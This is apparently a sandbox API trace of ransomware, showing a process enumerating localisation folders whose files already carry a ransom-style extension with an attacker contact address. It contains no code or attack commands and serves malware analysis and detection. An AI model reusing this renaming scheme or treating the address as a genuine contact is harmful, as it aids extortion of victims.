	[0133.614] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0133.618] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.618] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9922acae, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9922acae, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x992c4723, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.618] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99250e61, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99250e61, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9929d2de, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.618] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.618] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.618] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0133.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.619] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0133.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.620] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0133.622] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.622] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9938231b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9938231b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99466f1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.622] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9938231b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9938231b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99466f1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.622] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98be8ab5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.622] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98be8ab5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.622] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0133.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.623] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0133.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.624] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0133.630] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.630] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x993a836e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x993a836e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x995be558, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.631] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9938231b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9938231b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9941aa89, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.631] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.631] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.631] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0133.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.632] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0133.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.632] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd0c0
	[0133.751] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.751] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9941aa89, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9941aa89, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99715aa1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.751] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99466f1e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99466f1e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9973bbef, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.751] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c34ed2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.752] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c34ed2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.752] FindClose (in: hFindFile=0x5dd0c0 | out: hFindFile=0x5dd0c0) returned 1
	[0133.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.753] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0133.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.753] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd340
	[0133.756] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.756] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9948d540, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9948d540, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99715aa1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.756] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x995be558, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x995be558, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99656df0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.756] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b03b8f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.757] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b03b8f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.757] FindClose (in: hFindFile=0x5dd340 | out: hFindFile=0x5dd340) returned 1
	[0133.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.760] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0133.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.760] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd340
	[0133.763] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.763] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99715aa1, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99715aa1, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99951da5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.763] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99715aa1, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99715aa1, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99a8302f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.763] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98cf3930, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98cf3930, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.764] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98cf3930, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98cf3930, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.764] FindClose (in: hFindFile=0x5dd340 | out: hFindFile=0x5dd340) returned 1
	[0133.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
